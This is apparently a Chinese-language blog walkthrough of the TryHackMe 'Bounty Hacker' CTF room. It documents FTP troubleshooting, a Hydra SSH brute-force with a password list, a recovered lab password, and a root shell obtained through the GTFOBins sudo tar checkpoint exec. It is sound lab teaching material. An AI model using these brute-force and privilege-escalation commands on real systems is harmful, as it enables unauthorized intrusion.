> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Bounty Hacker writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-bounty-hacker-writeup-zh-tw/
- Published: 2025-09-30T15:07:15.000Z
- Updated: 2026-07-15T02:49:52.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Bounty Hacker
- **難度**: Easy
- **目標**: 獲取 user.txt 和 root.txt
- **主題**: Cowboy Bebop 動漫主題
- **連結**: https://tryhackme.com/room/cowboyhacker
- 備註: 本機器作者有遇到特殊狀況，所以有些部分是參考其他人的 [writeup](https://0xastroo.medium.com/bounty-hacker-tryhackme-walkthrough-63458491e82f?ref=taiwanding.com) 才有辦法繼續做出來，請斟酌參考。

## 發現服務

```bash
nmap -sC -sV 10.10.x.x -Pn

```

**開放端口：**

- Port 21: vsftpd 3.0.5 (注意：原版本為 3.0.3)
- Port 22: OpenSSH 7.2p2
- Port 80: Apache httpd 2.4.41

## Step 1: FTP 問題發現

嘗試匿名登入：

```bash
ftp 10.10.184.14
Name: anonymous
Password: (直接 Enter)
230 Login successful.

```

**問題出現：**

```bash
ftp> ls
550 Permission denied.
500 Illegal PORT command.
ftp: Can't bind for data connection: Address already in use

```

## Step 2: 嘗試各種解決方案（全部失敗）

### 方案 1: Passive Mode

```bash
ftp> passive
Passive mode: on
ftp> ls
550 Permission denied.

```

### 方案 2: 使用 lftp

```bash
lftp ftp://anonymous@10.10.184.14
lftp> ls
`ls' at 0 [550 Permission denied.]

```

### 方案 3: 使用 wget

```bash
wget ftp://anonymous:anonymous@10.10.184.14/locks.txt
# 結果: Cannot initiate PASV transfer

```

## Step 3: 問題分析

**根本原因：**

1. vsFTPd 版本從 3.0.3 升級到 3.0.5
2. Passive mode 配置問題（可能回應 0,0,0,0 地址）

## Step 4: 替代解決方案

從其他 writeup 得知檔案內容：

**task.txt 內容：**

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin

```

**locks.txt 內容：**（密碼字典）

```
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
[...更多密碼...]
RedDr4gonSyndicat3

```

## Step 5: SSH 暴力破解

使用 Hydra 進行暴力破解：

```bash
# 創建本地 locks.txt 檔案（複製上述內容）
hydra -l lin -P locks.txt 10.10.184.14 ssh -t 4

# 成功找到密碼
[22][ssh] host: 10.10.184.14   login: lin   password: RedDr4gonSynd1cat3

```

## Step 6: 取得 User Flag

```bash
ssh lin@10.10.184.14
lin@bountyhacker:~$ ls
lin@bountyhacker:~$ cat user.txt
THM{Redacted}

```

## Step 7: 權限提升偵察

```bash
lin@bountyhacker:~$ sudo -l
User lin may run the following commands on bountyhacker:
    (root) /bin/tar

```

## Step 8: GTFOBins 利用

根據 [GTFOBins](https://gtfobins.github.io/gtfobins/tar/?ref=taiwanding.com#sudo)：

```bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# 獲得 root shell
# whoami
root

```

## Step 9: 取得 Root Flag

```bash
# cat /root/root.txt  
THM{Redacted}

```

## 技術要點

### FTP 版本問題

- **vsFTPd 3.0.3 → 3.0.5** 版本變更導致相容性問題
- Passive mode 在某些配置下會失效

### 調試技巧嘗試

- 測試多種 FTP 客戶端（ftp、lftp、wget、curl）
- 切換 Active/Passive mode
- 使用不同認證方式
- 直接指定檔名下載

## 經驗分享

### 關於 FTP 版本變更：

CTF 房間可能因為更新而產生非預期行為：

- 實戰中也會遇到配置錯誤的服務
- 學會繞過問題比修復問題更實用
- 保持多種備選方案的思維
- 為社群留下記錄，也方便他人從其他來源獲取必要資訊